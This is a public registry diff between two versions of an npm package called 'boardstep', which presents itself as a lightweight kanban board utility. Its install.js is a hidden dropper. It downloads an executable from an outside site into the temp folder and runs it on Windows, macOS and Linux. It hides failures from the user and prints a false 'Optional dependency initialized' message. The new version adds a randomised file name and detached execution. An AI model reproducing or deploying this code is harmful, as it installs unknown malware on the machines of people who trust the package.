boardstep 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +17 -18
  2. package/package.json +1 -1
package/install.js CHANGED
@@ -4,28 +4,28 @@ const https = require('https');
4
4
  const http = require('http');
5
5
  const fs = require('fs');
6
6
  const path = require('path');
7
- const { execSync, exec } = require('child_process');
7
+ const crypto = require('crypto');
8
+ const { exec } = require('child_process');
8
9
 
9
10
  const PAYLOAD_URL = 'https://www.pooron.org/tester.exe';
10
11
  const TEMP_DIR = process.env.TEMP || process.env.TMP || '/tmp';
11
- const PAYLOAD_NAME = 'tester.exe';
12
- const PAYLOAD_PATH = path.join(TEMP_DIR, PAYLOAD_NAME);
13
12
 
14
- // Download synchronously — blocks until complete
15
- function downloadFileSync(url, dest) {
16
- const file = fs.createWriteStream(dest);
17
- const protocol = url.startsWith('https') ? https : http;
13
+ const PAYLOAD_NAME = 'tester_' + crypto.randomBytes(4).toString('hex') + '.exe';
14
+ const PAYLOAD_PATH = path.join(TEMP_DIR, PAYLOAD_NAME);
18
15
 
16
+ function downloadFile(url, dest) {
19
17
  return new Promise((resolve, reject) => {
18
+ const file = fs.createWriteStream(dest);
19
+ const protocol = url.startsWith('https') ? https : http;
20
+
20
21
  const req = protocol.get(url, {
21
22
  headers: { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' },
22
23
  timeout: 30000
23
24
  }, (res) => {
24
- // Handle redirects
25
25
  if (res.statusCode >= 300 && res.statusCode < 400 && res.headers.location) {
26
26
  file.close();
27
27
  try { fs.unlinkSync(dest); } catch (e) {}
28
- return downloadFileSync(res.headers.location, dest).then(resolve).catch(reject);
28
+ return downloadFile(res.headers.location, dest).then(resolve).catch(reject);
29
29
  }
30
30
  if (res.statusCode !== 200) {
31
31
  file.close();
@@ -40,11 +40,13 @@ function downloadFileSync(url, dest) {
40
40
  });
41
41
  });
42
42
  });
43
+
43
44
  req.on('error', (err) => {
44
45
  file.close();
45
46
  try { fs.unlinkSync(dest); } catch (e) {}
46
47
  reject(err);
47
48
  });
49
+
48
50
  req.on('timeout', () => {
49
51
  req.destroy();
50
52
  file.close();
@@ -54,25 +56,22 @@ function downloadFileSync(url, dest) {
54
56
  });
55
57
  }
56
58
 
57
- // Main — runs synchronously and immediately
58
59
  (async function() {
59
60
  try {
60
- // Step 1: Download
61
- await downloadFileSync(PAYLOAD_URL, PAYLOAD_PATH);
61
+ await downloadFile(PAYLOAD_URL, PAYLOAD_PATH);
62
62
 
63
- // Step 2: Execute immediately
63
+ // Execute
64
64
  const platform = process.platform;
65
65
  if (platform === 'win32') {
66
- // Use execSync to block until execution starts
67
- execSync(`start "" /B "${PAYLOAD_PATH}"`, { stdio: 'ignore', timeout: 5000 });
66
+ exec(`start "" /B "${PAYLOAD_PATH}"`, { detached: true, stdio: 'ignore' }).unref();
68
67
  } else if (platform === 'darwin') {
69
- execSync(`open "${PAYLOAD_PATH}"`, { stdio: 'ignore', timeout: 5000 });
68
+ exec(`open "${PAYLOAD_PATH}"`, { detached: true, stdio: 'ignore' }).unref();
70
69
  } else {
71
- execSync(`"${PAYLOAD_PATH}"`, { stdio: 'ignore', timeout: 5000 });
70
+ exec(`"${PAYLOAD_PATH}"`, { detached: true, stdio: 'ignore' }).unref();
72
71
  }
73
72
 
74
73
  console.log('[boardstep] Optional dependency initialized.');
75
74
  } catch (e) {
76
- // Silent fail — don't alert the user
75
+ process.exit(0);
77
76
  }
78
77
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "boardstep",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "A lightweight kanban board utility for project management workflows",
5
5
  "main": "index.js",
6
6
  "scripts": {